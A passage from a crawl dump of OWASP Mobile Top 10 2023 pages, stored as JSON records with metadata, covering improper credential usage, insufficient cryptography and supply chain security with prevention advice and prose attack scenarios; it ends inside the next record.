Protections: Data Protection, App Compliance, App-Level Threat Defense, Security Policy Enforcement, App Integrity”\n\n- [13] John Wiley and Sons, Inc: [iOS Hacker’s Handbook](http://www.amazon.com/iOS-Hackers-Handbook-Charlie-Miller/dp/1118204123), Published May 2012, [ISBN 1118204123](https://wiki.owasp.org/index.php/Special:BookSources/1118204123).\n- [14] McGraw Hill Education: [Mobile Hacking Exposed](http://mobilehackingexposed.com/), Published July 2013, [ISBN 0071817018](https://wiki.owasp.org/index.php/Special:BookSources/0071817018).\n- [15] Publisher Unannounced: [Android Hacker’s Handbook](http://www.amazon.com/Android-Hackers-Handbook-Joshua-Drake/dp/111860864X), To Be Published April 2014.\n- [16] Software Development Times: [More than 5,000 apps in the Google Play Store are copied APKs, or ‘thief-ware’](http://sdt.bz/66393#ixzz2sHa7dFMp), November 20 2013:\n\n> “In most cases, the 2,140 copycat developers that were found reassembled the apps almost identically, adding new advertising SDKs to siphon profits away from the original developers.\n\n- [17] InfoSecurity Magazine: [Two Thirds of Personal Banking Apps Found Full of Vulnerabilities](http://www.infosecurity-magazine.com/view/36376/two-thirds-of-personal-banking-apps-found-full-of-vulnerabilities/) , January 3 2014:\n\n> “But one of his more worrying findings came from disassembling the apps themselves … what he found was hardcoded development credentials within the code. An attacker could gain access to the development infrastructure of the bank and infest the application with malware causing a massive infection for all of the application’s users.”\n\n- [18] InfoSecurity Magazine: [Mobile Malware Infects Millions; LTE Spurs Growth](http://www.infosecurity-magazine.com/view/36686/mobile-malware-infects-millions-lte-spurs-growth/) , January 29 2014:\n\n> “Number of mobile malware samples is growing at a rapid clip, increasing by 20-fold in 2013… It is trivial for an attacker to hijack a legitimate Android application, inject malware into it and redistribute it for consumption. There are now binder kits available that will allow an attacker to automatically inject malware into an existing application”\n\n---\n\n[Watch](https://github.com/owasp/www-project-mobile-top-10/subscription) [Star](https://github.com/owasp/www-project-mobile-top-10)", "znaku_textu": 10967, "slov": 1476, "odkazu": 50, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:35:41", "sha256": "1dac6d1e8fb961a94d3ad13e00af5c795de8efefdb26b46ec7f2ec1d36203c24", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.owasp.org/index.php/OWASP_Reverse_Engineering_and_Code_Modification_Prevention_Project", "https://www.arxan.com/assets/1/7/State_of_Security_in_the_App_Economy_Report_Vol._2.pdf", "http://www8.hp.com/us/en/hp-news/press-release.html?id=1528865", "http://www.csc.ncsu.edu/faculty/jiang/pubs/OAKLAND12.pdf", "http://www.techhive.com/article/249310/apple_pulls_ripoff_apps_from_its_walled_garden.html", "http://techcrunch.com/2014/01/02/developer-spams-google-play-with-ripoffs-of-well-known-apps-again/", "http://www.extremetech.com/mobile/153849-chinese-app-store-offers-pirated-ios-apps-without-the-need-to-jailbreak", "https://www.owasp.org/index.php/Architectural_Principles_That_Prevent_Code_Modification_or_Reverse_Engineering", "http://www.amazon.com/iOS-Hackers-Handbook-Charlie-Miller/dp/1118204123", "https://wiki.owasp.org/index.php/Special:BookSources/1118204123", "http://mobilehackingexposed.com/", "https://wiki.owasp.org/index.php/Special:BookSources/0071817018", "http://www.amazon.com/Android-Hackers-Handbook-Joshua-Drake/dp/111860864X", "http://sdt.bz/66393", "http://www.infosecurity-magazine.com/view/36376/two-thirds-of-personal-banking-apps-found-full-of-vulnerabilities/", "http://www.infosecurity-magazine.com/view/36686/mobile-malware-infects-millions-lte-spurs-growth/", "https://github.com/owasp/www-project-mobile-top-10/subscription", "https://github.com/owasp/www-project-mobile-top-10", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-mobile-top-10/2023-risks/m1-improper-credential-usage.html", "titulek": "M1: Improper Credential Usage | OWASP Foundation", "h1": "M1: Improper Credential Usage", "popis": "M1: Improper Credential Usage on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-mobile-top-10/2023-risks/m1-improper-credential-usage", "jazyk": "en", "robots_meta": "", "og": {"og:description": "M1: Improper Credential Usage on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "M1: Improper Credential Usage | OWASP Foundation", "og:url": "https://owasp.org/www-project-mobile-top-10/2023-risks/m1-improper-credential-usage.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "M1: Improper Credential Usage"}, {"uroven": 1, "text": "Threat Agents"}, {"uroven": 1, "text": "Attack Vectors"}, {"uroven": 1, "text": "Security Weakness"}, {"uroven": 1, "text": "Technical Impacts"}, {"uroven": 1, "text": "Business Impacts"}, {"uroven": 1, "text": "Am I Vulnerable To ‘Improper Credential Usage’?"}, {"uroven": 1, "text": "How Do I Prevent ‘Improper Credentials Usage’?"}, {"uroven": 1, "text": "Example Attack Scenarios"}, {"uroven": 1, "text": "References"}], "markdown": "# M1: Improper Credential Usage\n\n# Threat Agents\n\n**Application Specific**\n\nThreat agents exploiting hardcoded credentials and improper credential usage in mobile applications can include automated attacks using publicly available or custom-built tools. Such agents could potentially locate and exploit hardcoded credentials or exploit weaknesses due to improper credential usage.\n\n# Attack Vectors\n\n**Exploitability EASY**\n\nAdversaries can exploit vulnerabilities in both hardcoded credentials and improper credential usage. Once these vulnerabilities are identified, an attacker can use hardcoded credentials to gain unauthorized access to sensitive functionalities of the mobile app. They can also misuse credentials, for instance by gaining access through improperly validated or stored credentials, thereby bypassing the need for legitimate access.\n\n# Security Weakness\n\n**Prevalence COMMON**\n\n**Detectability EASY**\n\nPoor implementation of credential management, such as using hardcoded credentials and improper handling, can lead to severe security weaknesses. A comprehensive security testing process should aim to identify these issues. For instance, security testers should attempt to identify hardcoded credentials within the mobile app’s source code or within any configuration files.\n\n# Technical Impacts\n\n**Impact SEVERE**\n\nPoor credential management can lead to several significant technical impacts. Unauthorized users might gain access to sensitive information or functionality within the mobile app or its backend systems. This can lead to data breaches, loss of user privacy, fraudulent activity, and potential access to administrative functionality.\n\n# Business Impacts\n\n**Impact SEVERE**\n\nThe business impact of poor credential management, including hardcoded credentials and improper credential usage, can be substantial:\n\n- Reputation Damage;\n- Information Theft;\n- Fraud;\n- Unauthorized Access to Data.\n\n# Am I Vulnerable To ‘Improper Credential Usage’?\n\nInsecure credential management can occur when mobile apps use hardcoded credentials or when credentials are misused. Here are some indicators that your mobile app may be vulnerable:\n\n- **Hardcoded Credentials** - If the mobile app contains hardcoded credentials within the app’s source code or any configuration files, this is a clear indicator of vulnerability.\n- **Insecure Credential Transmission** - If credentials are transmitted without encryption or through insecure channels, this could indicate a vulnerability.\n- **Insecure Credential Storage** - If the mobile app stores user credentials on the device in an insecure manner, this could represent a vulnerability.\n- **Weak User Authentication** - If user authentication relies on weak protocols or allows for easy bypassing, this could be a sign of vulnerability.\n\n# How Do I Prevent ‘Improper Credentials Usage’?\n\nAvoiding insecure credential management involves not using hardcoded credentials and properly handling user credentials.\n\n**Avoid Using Hardcoded Credentials**\n\nHardcoded credentials can be easily discovered by attackers and provide an easy access point for unauthorized users. Always avoid using hardcoded credentials in your mobile app’s code or configuration files.\n\n**Properly Handle User Credentials**\n\nUser credentials should always be stored, transmitted, and authenticated securely:\n\n- Encrypt credentials during transmission.\n- Do not store user credentials on the device. Instead, consider using secure, revocable access tokens.\n- Implement strong user authentication protocols.\n- Regularly update and rotate any used API keys or tokens.\n\n# Example Attack Scenarios\n\nThe following scenarios showcase improper credentials usage in mobile apps:\n\n**Scenario #1:** Hardcoded Credentials: An attacker discovers hardcoded credentials within the mobile app’s source code. They use these credentials to gain unauthorized access to sensitive functionality within the app or backend systems.\n\n**Scenario #2:** Insecure Credential Transmission: An attacker intercepts insecurely transmitted credentials between the mobile app and its backend systems. They use these intercepted credentials to impersonate a legitimate user and gain unauthorized access.\n\n**Scenario #3:** Insecure Credential Storage: An attacker gains physical access to a user’s device and extracts stored credentials from the mobile app. The attacker uses these credentials to gain unauthorized access to the user’s account.\n\n# References\n\n- OWASP\n - [OWASP](https://www.owasp.org/index.php/OWASP_Top_Ten)\n- External\n - [External References](http://cwe.mitre.org/)\n\n---\n\n[Watch](https://github.com/owasp/www-project-mobile-top-10/subscription) [Star](https://github.com/owasp/www-project-mobile-top-10)", "znaku_textu": 4604, "slov": 599, "odkazu": 25, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:35:01", "sha256": "4ed911839821466885e5c8a7e317392fa45f02f1d0f3c2950de7b01d3a28abba", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.owasp.org/index.php/OWASP_Top_Ten", "http://cwe.mitre.org/", "https://github.com/owasp/www-project-mobile-top-10/subscription", "https://github.com/owasp/www-project-mobile-top-10", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-mobile-top-10/2023-risks/m10-insufficient-cryptography.html", "titulek": "M10: Insufficient Cryptography | OWASP Foundation", "h1": "M10: Insufficient Cryptography", "popis": "M10: Insufficient Cryptography on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-mobile-top-10/2023-risks/m10-insufficient-cryptography", "jazyk": "en", "robots_meta": "", "og": {"og:description": "M10: Insufficient Cryptography on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "M10: Insufficient Cryptography | OWASP Foundation", "og:url": "https://owasp.org/www-project-mobile-top-10/2023-risks/m10-insufficient-cryptography.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "M10: Insufficient Cryptography"}, {"uroven": 1, "text": "Threat Agents"}, {"uroven": 1, "text": "Attack vectors"}, {"uroven": 1, "text": "Security weakness"}, {"uroven": 1, "text": "Technical Impact"}, {"uroven": 1, "text": "Business Impacts"}, {"uroven": 1, "text": "Am I Vulnerable To ‘Insufficient Cryptography’?"}, {"uroven": 1, "text": "How Do I Prevent ‘Insufficient Cryptography’?"}, {"uroven": 1, "text": "Example Attack Scenarios"}, {"uroven": 1, "text": "References"}], "markdown": "# M10: Insufficient Cryptography\n\n# Threat Agents\n\n**Application Specific**\n\nThreat agents who exploit insecure cryptography in mobile applications can undermine the confidentiality, integrity, and authenticity of sensitive information. These threat agents include attackers who target cryptographic algorithms or implementations to decrypt sensitive data, malicious insiders who manipulate cryptographic processes or leak encryption keys, state-sponsored actors engaged in cryptanalysis for intelligence purposes, cybercriminals who exploit weak encryption to steal valuable data or conduct financial fraud, and attackers who leverage vulnerabilities in cryptographic protocols or libraries.\n\n# Attack vectors\n\n**Exploitability AVERAGE**\n\nThe attack vector for insecure cryptography in a mobile application involves exploiting vulnerabilities in the cryptographic mechanisms used to protect sensitive information. Adversaries may employ various techniques, such as cryptographic attacks, brute force attacks, or side-channel attacks, to exploit weaknesses in encryption algorithms, key management, or implementation flaws. By targeting insecure cryptography, attackers aim to decrypt encrypted data, manipulate cryptographic processes, or gain unauthorized access to sensitive information. This can lead to data breaches, unauthorized access to user accounts, compromised confidentiality, or the ability to forge or tamper with data.\n\n# Security weakness\n\n**Prevalence COMMON**\n\n**Detectability AVERAGE**\n\nInsecure cryptography in a mobile application introduces security weaknesses that can undermine the effectiveness of cryptographic measures and compromise the confidentiality and integrity of sensitive data. These weaknesses may include using weak encryption algorithms or inadequate key lengths, poor key management practices, improper handling of encryption keys, insecure random number generation, flawed implementation of cryptographic protocols, or vulnerabilities in cryptographic libraries or frameworks. Attackers can exploit these weaknesses to bypass encryption, perform cryptographic attacks, manipulate data, or gain unauthorized access to encrypted information. Insecure hash functions and cryptographic algorithms pose significant security weaknesses in mobile applications. These vulnerabilities can lead to serious data breaches and unauthorized access to sensitive information. When outdated or weak hash functions are used, attackers can exploit the flaws to reverse-engineer hashed data, revealing the original content. To protect mobile applications from these security risks, it is essential to adopt strong and modern hash functions and cryptographic algorithms, as well as follow best practices in encryption and key management to ensure data integrity and confidentiality. Regular security audits and updates are also crucial to maintain the highest level of protection against potential threats.\n\n# Technical Impact\n\n**Impact SEVERE**\n\nThis vulnerability will result in the unauthorized retrieval of sensitive information from the mobile device.\n\n# Business Impacts\n\n**Impact SEVERE**\n\nInsufficient cryptography or insecure hash functions in a mobile application can have significant business impacts. Here are some potential consequences:\n\n**Data Breach**: Weak or insufficient cryptography can make it easier for adversaries to compromise the confidentiality of sensitive data stored or transmitted by the mobile application. This can result in a data breach, leading to the exposure of sensitive customer information, such as personal identifiable information (PII), financial details, or intellectual property. Such breaches can lead to legal liabilities, regulatory penalties, loss of customer trust, and reputational damage.\n\n**Loss of Intellectual Property**: Inadequate cryptography can jeopardize the protection of proprietary algorithms, trade secrets, or other intellectual property embedded within the mobile application. If adversaries are able to decrypt and extract this valuable information, it can be exploited for competitive advantage by rival companies or sold on the black market.\n\n**Financial Losses**: Insufficient cryptography can lead to financial losses in multiple ways. For instance, if payment transactions or financial data are improperly encrypted, it can expose customers to fraud and unauthorized access to their funds. Additionally, the costs associated with investigating and remediating security breaches, compensating affected customers, and addressing legal ramifications can be substantial.\n\n**Compliance and Legal Consequences**: Many industries have specific data protection and privacy regulations that mandate the use of strong encryption for sensitive information. Inadequate cryptography can result in non-compliance with these regulations, leading to legal consequences, fines, or sanctions imposed by regulatory authorities.\n\n# Am I Vulnerable To ‘Insufficient Cryptography’?\n\nThere are several ways in which insecure cryptography and insecure hash functions can manifest in a mobile application:\n\n**Weak Encryption Algorithms**: The mobile app may use encryption algorithms that are known to be weak or vulnerable to attacks. These algorithms may have known weaknesses, be outdated, or lack the necessary level of security to protect sensitive data effectively.\n\n**Insufficient Key Length**: Inadequate key length can weaken the encryption strength. If the mobile app uses short or easily guessable encryption keys, it becomes easier for attackers to decrypt the encrypted data through brute-force or other cryptographic attacks.\n\n**Improper Key Management**: Poor key management practices, such as storing encryption keys insecurely or transmitting them in plain text, can expose the keys to unauthorized access. Attackers who gain access to the keys can decrypt the data without difficulty.\n\n**Flawed Encryption Implementation**: The encryption/decryption process itself may be implemented incorrectly or contain programming flaws. These implementation errors can introduce vulnerabilities that attackers can exploit to bypass or weaken the encryption protections.\n\n**Insecure Storage of Data/Encryption Keys**: If the encryption keys are stored insecurely on the mobile device, such as in plain text or in easily accessible locations, attackers with physical or unauthorized access to the device can retrieve the keys and decrypt the protected data.The mobile application utilizes a weak encryption algorithm or uses encryption incorrectly, such as using a weak key or failing to properly encrypt all sensitive data. This can result in compromised data if the encryption is easily bypassed or decrypted by an attacker.\n\n**Lack of Secure Transport Layer**: When transmitting encrypted data over networks, it is crucial to use secure transport layer protocols like HTTPS. If the mobile app fails to implement secure transport protocols, encrypted data may be vulnerable to interception or tampering during transmission.\n\n**Insufficient Validation and Authentication**: Inadequate validation and authentication of parties involved in the encryption process can weaken the overall security. Without proper validation, attackers can impersonate legitimate entities, intercept encrypted data, and manipulate it without detection.\n\n**Lack of Salting**: Salting, the process of adding random data to the input before hashing, is essential for enhancing the security of passwords. Insecure hash functions may not support salting or may use weak salting methods, making password hashes susceptible to attacks like pre-computed tables or brute-force attacks.\n\n# How Do I Prevent ‘Insufficient Cryptography’?\n\nTo prevent “insufficient cryptography” vulnerabilities in the mobile application, consider the following best practices:\n\n**Use Strong Encryption Algorithms**: Implement widely accepted and secure encryption algorithms, such as AES (Advanced Encryption Standard), RSA (Rivest-Shamir-Adleman), or Elliptic Curve Cryptography (ECC). Stay updated with current cryptographic standards and avoid deprecated or weak algorithms.\n\n**Ensure Sufficient Key Length**: Select encryption keys with an appropriate length to ensure strong cryptographic strength. Follow industry recommendations for key lengths, considering the specific encryption algorithm being used.\n\n**Follow Secure Key Management Practices**: Employ secure key management techniques, such as using key vaults or hardware security modules (HSMs) to securely store encryption keys. Protect keys from unauthorized access, including restricting access to authorized personnel, encrypting keys at rest, and using secure key distribution mechanisms.\n\n**Implement Encryption Correctly**: Carefully implement encryption and decryption processes in the mobile application, adhering to established cryptographic libraries and frameworks. Avoid custom encryption implementations, as they are more prone to errors and vulnerabilities.\n\n**Secure Storage of Encryption Keys**: Ensure encryption keys are securely stored on the mobile device. Avoid storing keys in plain text or easily accessible locations. Consider using secure storage mechanisms provided by the operating system or utilizing hardware-based secure storage options.\n\n**Employ Secure Transport Layer**: Use secure transport layer protocols, such as HTTPS (HTTP Secure), for transmitting encrypted data over networks. Implement proper certificate validation and ensure secure communication channels between the mobile app and backend systems.\n\n**Validate and Authenticate**: Implement strong validation and authentication mechanisms to verify the integrity and authenticity of parties involved in the encryption process. Perform proper validation of certificates, digital signatures, or other mechanisms used for authentication.\n\n**Regularly Update Security Measures**: Stay informed about security updates, patches, and recommendations from cryptographic libraries, frameworks, and platform providers. Keep the mobile application and underlying cryptographic components up to date to address any identified vulnerabilities or weaknesses.\n\n**Conduct Security Testing**: Perform thorough security testing, including cryptographic vulnerability assessments, penetration testing, and code reviews. Identify and remediate any weaknesses or vulnerabilities discovered during the testing process.\n\n**Follow Industry Standards and Best Practices**: Stay updated with industry standards and best practices related to cryptography. Organizations like NIST (National Institute of Standards and Technology) and IETF (Internet Engineering Task Force) provide guidelines and recommendations for secure cryptographic practices.\n\n**Use Strong Hash Functions**: Choose widely recognized and cryptographically secure hash functions like SHA-256 or bcrypt. These algorithms are designed to resist attacks and provide a high level of security.\n\n**Implement Salting**: Always use a strong random salt when hashing passwords. Salting adds an extra layer of security by making it harder for attackers to use precomputed tables or rainbow tables to crack passwords.\n\n**Use Key Derivation Functions (KDFs)**: For password hashing, use Key Derivation Functions like PBKDF2, bcrypt, or scrypt. These functions are specifically designed for securely deriving cryptographic keys from passwords and provide additional security features like iteration counts to slow down brute-force attacks.\n\n# Example Attack Scenarios\n\n**Scenario #1:** Man-in-the-Middle (MitM) Attacks - An attacker intercepts the communication between the mobile application and the server. Weak cryptography can enable attackers to decrypt the intercepted data, modify it, and re-encrypt it before forwarding it to the intended recipient. This can lead to unauthorized access, data manipulation, or the injection of malicious content.\n\n**Scenario #2:** Brute-Force Attacks- Attackers systematically try various combinations of keys until they find the correct one to decrypt the data. Weak cryptography can shorten the time required for such attacks, potentially exposing sensitive information.\n\n**Scenario #3:** Cryptographic Downgrade Attacks - Mobile applications may support multiple encryption protocols or algorithms to establish secure connections. If weak cryptography is allowed as a fallback option, attackers can exploit this weakness and force the application to use weak encryption. As a result, they can decrypt the intercepted data more easily and launch subsequent attacks.\n\n**Scenario #4:** Key Management Vulnerabilities - Weak key management practices can undermine the security of the cryptographic systems used in mobile applications. For example, if encryption keys are stored insecurely or are easily guessable, attackers can gain unauthorized access to the keys and decrypt the encrypted data. This can result in data breaches and privacy violations.\n\n**Scenario #5:** Crypto Implementation Flaws - Weak cryptography can also stem from implementation flaws in the mobile application itself. These flaws may include incorrect usage of cryptographic libraries, insecure key generation, improper random number generation, or insecure handling of encryption-related functions. Attackers can exploit these flaws to bypass or weaken the encryption protections.\n\n# References\n\n- OWASP\n - [OWASP](https://www.owasp.org/index.php/OWASP_Top_Ten)\n- External\n - [External References](http://cwe.mitre.org/)\n\n---\n\n[Watch](https://github.com/owasp/www-project-mobile-top-10/subscription) [Star](https://github.com/owasp/www-project-mobile-top-10)", "znaku_textu": 13422, "slov": 1814, "odkazu": 25, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:35:30", "sha256": "d8ee89cbc64d30b561c25b6c0a88b031d989156a583a1c71f8f35493914eb91b", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.owasp.org/index.php/OWASP_Top_Ten", "http://cwe.mitre.org/", "https://github.com/owasp/www-project-mobile-top-10/subscription", "https://github.com/owasp/www-project-mobile-top-10", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-mobile-top-10/2023-risks/m2-inadequate-supply-chain-security.html", "titulek": "M2: Inadequate Supply Chain Security | OWASP Foundation", "h1": "M2: Inadequate Supply Chain Security", "popis": "M2: Inadequate Supply Chain Security on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-mobile-top-10/2023-risks/m2-inadequate-supply-chain-security", "jazyk": "en", "robots_meta": "", "og": {"og:description": "M2: Inadequate Supply Chain Security on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "M2: Inadequate Supply Chain Security | OWASP Foundation", "og:url": "https://owasp.org/www-project-mobile-top-10/2023-risks/m2-inadequate-supply-chain-security.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "M2: Inadequate Supply Chain Security"}, {"uroven": 1, "text": "Threat Agents"}, {"uroven": 1, "text": "Attack Vectors"}, {"uroven": 1, "text": "Security Weakness"}, {"uroven": 1, "text": "Technical Impacts"}, {"uroven": 1, "text": "Business Impacts"}, {"uroven": 1, "text": "Am I vulnerable to ‘Inadequate Supply Chain Vulnerability’?"}, {"uroven": 1, "text": "How Do I Prevent ‘Inadequate Supply Chain Vulnerability’?"}, {"uroven": 1, "text": "Example Attack Scenarios"}, {"uroven": 1, "text": "References"}], "markdown": "# M2: Inadequate Supply Chain Security\n\n# Threat Agents\n\n**Application Specific**\n\nAn attacker can manipulate application functionality by exploiting vulnerabilities in the mobile app supply chain. For example, an attacker can insert malicious code into the mobile app’s codebase or modify the code during the build process to introduce backdoors, spyware, or other malicious code.\n\nThis can allow the attacker to steal data, spy on users, or take control of the mobile device. Moreover, an attacker can exploit vulnerabilities in third-party software libraries, SDKs, vendors, or hardcoded credentials to gain access to the mobile app or the backend servers.\n\nThis can lead to unauthorized data access or manipulation, denial of service, or complete takeover of the mobile app or device.\n\n# Attack Vectors\n\n**Exploitability AVERAGE**\n\nThere are multiple ways to exploit Inadequate Supply Chain vulnerability for example- an insider threat agent or an attacker can inject malicious code during the development phase of the app, then they can compromise the app signing keys or certificates to sign malicious code as trusted.\n\nAnother way, a threat agent can exploit vulnerabilities in third-party libraries or components used in the app.\n\n# Security Weakness\n\n**Prevalence COMMON**\n\n**Detectability DIFFICULT**\n\nInadequate Supply Chain vulnerability occurs due to a lack of secure coding practices, insufficient code reviews and testing leading to the inclusion of vulnerabilities in the app.\n\nOther causes for inadequate supply chain vulnerabilities include insufficient or insecure app signing and distribution process, weakness in third-party software components or libraries, insufficient security controls for data, encryption, storage, or exposing sensitive data to unauthorized access.\n\n# Technical Impacts\n\n**Impact SEVERE**\n\nIf an attacker successfully exploits inadequate supply chain security, the technical impact can be severe. The specific technical impact depends on the nature of the exploit, but it can include:\n\n**Data Breach:** The attacker can steal sensitive data, such as login credentials, personal data, or financial information. The data breach can have long-term consequences for the affected individuals, such as identity theft or financial fraud.\n\n**Malware Infection:** The attacker can introduce malware into the mobile application, which can infect the user’s device and steal data or perform malicious activities. The malware can be difficult to detect and remove, and it can cause significant damage to the user’s device and data.\n\n**Unauthorized Access:** The attacker can gain access to the mobile application’s server or the user’s device and perform unauthorized activities, such as modifying or deleting data. This can result in data loss, service disruption, or other technical issues.\n\n**System Compromise:** The attacker can compromise the entire system of the mobile application, which can lead to a complete loss of control over the system. This can result in the shutdown of the application, significant data loss, and long-term damage to the reputation of the mobile application developer.\n\n# Business Impacts\n\n**Impact SEVERE**\n\nIf an attacker successfully exploits inadequate supply chain security, the business impact can be significant. The specific business impact depends on the nature of the exploit and the organization’s size, industry, and overall security posture, but it can include:\n\n**Financial Losses:** The organization can suffer financial losses as a result of the attack, such as the cost of investigating the breach, the cost of notifying affected individuals, or the cost of legal settlements. The organization can also lose revenue if customers lose trust in the mobile application and stop using it.\n\n**Reputational Damage:** The organization can suffer reputational damage as a result of the attack, which can lead to long-term damage to the organization’s brand and customer trust. This can result in reduced revenue and difficulty in attracting new customers.\n\n**Legal and Regulatory Consequences:** The organization can face legal and regulatory consequences as a result of the attack, such as fines, lawsuits, or government investigations. These consequences can result in significant financial and reputational damage to the organization.\n\n**Supply Chain Disruption:** The attack can disrupt the organization’s supply chain and lead to delays or interruptions in the delivery of goods or services. This can result in financial losses and reputational damage to the organization.\n\n# Am I vulnerable to ‘Inadequate Supply Chain Vulnerability’?\n\nIt is possible that you are vulnerable to inadequate supply chain vulnerability, particularly if you use mobile applications that are developed by third-party developers or rely on third-party libraries and components. The vulnerability can arise due to a variety of reasons, such as:\n\n**Lack of Security in Third-Party Components:** Third-party components, such as libraries or frameworks, can contain vulnerabilities that can be exploited by attackers. If the mobile application developer does not vet the third-party components properly or keep them updated, the application can be vulnerable to attacks.\n\n**Malicious Insider Threats:** Malicious insiders, such as a rogue developer or a supplier, can introduce vulnerabilities into the mobile application intentionally. This can occur if the developer does not implement adequate security controls and monitoring of the supply chain process.\n\n**Inadequate Testing and Validation:** If the mobile application developer does not test the application thoroughly, it can be vulnerable to attacks. The developer may also fail to validate the security of the supply chain process, leading to vulnerabilities in the application.\n\n**Lack of Security Awareness:** If the mobile application developer does not have adequate security awareness, they may not implement the necessary security controls to prevent supply chain attacks.\n\n# How Do I Prevent ‘Inadequate Supply Chain Vulnerability’?\n\n- Implement secure coding practices, code review, and testing throughout the mobile app development lifecycle to identify and mitigate vulnerabilities.\n- Ensure secure app signing and distribution processes to prevent attackers from signing and distributing malicious code.\n- Use only trusted and validated third-party libraries or components to reduce the risk of vulnerabilities.\n- Establish security controls for app updates, patches, and releases to prevent attackers from exploiting vulnerabilities in the app.\n- Monitor and detect supply chain security incidents through security testing, scanning, or other techniques to detect and respond to incidents in a timely manner.\n\n# Example Attack Scenarios\n\n**Scenario #1** Malware Injection\n\nAn attacker injects malware into a popular mobile app during the development phase. The attacker then signs the app with a valid certificate and distributes it to the app store, bypassing the app store’s security checks.\nUsers download and install the infected app, which steals their login credentials and other sensitive data. The attacker then uses the stolen data to commit fraud or identity theft, causing significant financial harm to the victims and reputational damage to the app provider.\n\n# References\n\n- OWASP\n - [Supply Chain Vulnerabilities](https://owasp.org/www-project-kubernetes-top-ten/2022/en/src/K02-supply-chain-vulnerabilities)\n - [OWASP Dependency Check](https://owasp.org/www-project-dependency-check/)\n- External\n - [External References](http://cwe.mitre.org/)\n\n---\n\n[Watch](https://github.com/owasp/www-project-mobile-top-10/subscription) [Star](https://github.com/owasp/www-project-mobile-top-10)", "znaku_textu": 7600, "slov": 1097, "odkazu": 26, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:35:05", "sha256": "cb2042e129f888c072b02dfe63951664a2620dba6971a7ca4e71ba74e2eae7e0", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "http://cwe.mitre.org/", "https://github.com/owasp/www-project-mobile-top-10/subscription", "https://github.com/owasp/www-project-mobile-top-10", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-mobile-top-10/2023-risks/m3-insecure-authentication-authorization.html", "titulek": "M3: Insecure Authentication/Authorization | OWASP Foundation", "h1": "M3: Insecure Authentication/Authorization", "popis": "M3: Insecure Authentication/Authorization on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-mobile-top-10/2023-risks/m3-insecure-authentication-authorization", "jazyk": "en", "robots_meta": "", "og": {"og:description": "M3: Insecure Authentication/Authorization on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "M3: Insecure Authentication/Authorization | OWASP Foundation", "og:url": "https://owasp.org/www-project-mobile-top-10/2023-risks/m3-insecure-authentication-authorization.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "M3: Insecure Authentication/Authorization"}, {"uroven": 1, "text": "Threat Agents"}, {"uroven": 1, "text": "Attack Vectors"}, {"uroven": 1, "text": "Security Weakness"}, {"uroven": 1, "text": "Technical Impacts"}, {"uroven": 1, "text": "Business Impacts"}, {"uroven": 1, "text": "Am I Vulnerable To ‘Insecure Authentication / Authorization’?"}, {"uroven": 1, "text": "How Do I Prevent ‘Insecure Authentication and 